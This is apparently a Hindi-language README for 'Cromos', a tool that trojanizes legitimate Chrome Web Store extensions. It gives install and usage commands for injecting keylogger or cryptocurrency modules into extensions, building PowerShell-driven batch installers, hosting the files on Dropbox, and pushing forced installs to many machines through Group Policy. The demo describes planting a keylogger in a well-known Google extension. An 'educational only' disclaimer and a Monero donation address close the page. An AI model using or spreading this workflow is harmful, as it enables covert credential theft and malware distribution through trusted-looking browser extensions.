Cromos

Cromos एक उपकरण है जो Chrome Web Store से वैध एक्सटेंशन डाउनलोड करने और एप्लिकेशन के बैकग्राउंड में कोड इंजेक्ट करने के लिए है, और अधिक cromos PowerShell के माध्यम से इंस्टॉलेशन को बाध्य करने के लिए निष्पादन योग्य फ़ाइलें बनाते हैं, और ड्रॉपबॉक्स पर फ़ाइलें अपलोड करके दुर्भावनापूर्ण फ़ाइलों को होस्ट करते हैं।

• एक्सटेंशन डाउनलोड करें
• इंजेक्शन
• ड्रॉपबॉक्स पर फ़ाइलें अपलोड करें
• विंडोज संक्रमण

डेमो

यह उपकरण के कार्य करने का एक प्रदर्शन है; इस उदाहरण में मैं Google Chrome Web Store से G Suite Training नामक एक प्रसिद्ध Google एक्सटेंशन डाउनलोड कर रहा हूँ और एक कीलॉगर मॉड्यूल इंजेक्ट कर रहा हूँ।

स्थापना

$ cd $HOME/
$ git clone https://github.com/fbctf/cromos
$ sudo chmod -R 777 cromos/
$ cd cromos && python setup.py

उपयोग

एक्सटेंशन डाउनलोड करना

Usage: python cromos.py --extension {id}

एक्सटेंशन डाउनलोड करना और मॉड्यूल लोड करना

Usage: python cromos.py --extension {id} --load {currency/keylogger}

बैच फ़ाइल बनाएं और ड्रॉपबॉक्स में फ़ाइलें अपलोड करें

Usage: python cromos.py --extension {id} --build {bat} --token {dropboxToken}

मॉड्यूल

आप कुछ पूर्वनिर्धारित मॉड्यूल को बैकग्राउंड में इंजेक्ट कर सकते हैं जैसे कीलॉगर, वर्चुअल करेंसी।

ग्रुप पॉलिसी ऑब्जेक्ट (GPO)

Chrome आपको Windows Group Policy Object (GPO) का उपयोग करके एक्सटेंशन जोड़ने की अनुमति देता है; यदि आपको कई मशीनों पर इंस्टॉलेशन बाध्य करने की आवश्यकता है, तो बस Chrome तैनाती गाइड में दिए गए चरणों का पालन करें, फिर मूल एक्सटेंशन में कुछ संशोधन करें; आप अपने एक्सटेंशन को Chrome Web Store पर प्रकाशित कर सकते हैं, जिसके लिए $5 भुगतान करना आवश्यक है।

अस्वीकरण

कोड नमूने केवल शैक्षिक उद्देश्यों के लिए प्रदान किए गए हैं। पर्याप्त सुरक्षा केवल दुर्भावनापूर्ण अभिनेताओं के लिए उपलब्ध हमला तकनीकों पर शोध करके बनाई जा सकती है। पूर्व अनुमति के बिना लक्ष्य प्रणालियों के खिलाफ इस कोड का उपयोग करना अधिकांश न्यायक्षेत्रों में अवैध है। लेखक इस जानकारी या कोड के दुरुपयोग से होने वाले किसी भी नुकसान के लिए उत्तरदायी नहीं हैं।

दान

• XMR: 49m12JEEC6HPCHkLMX5QL4SrDQdKwh6eb4Muu8Z9CwA9MwemhzFQ3VcgHwyuR73rC22WCymTUyep7DVrfN3GPt5JBCekPrR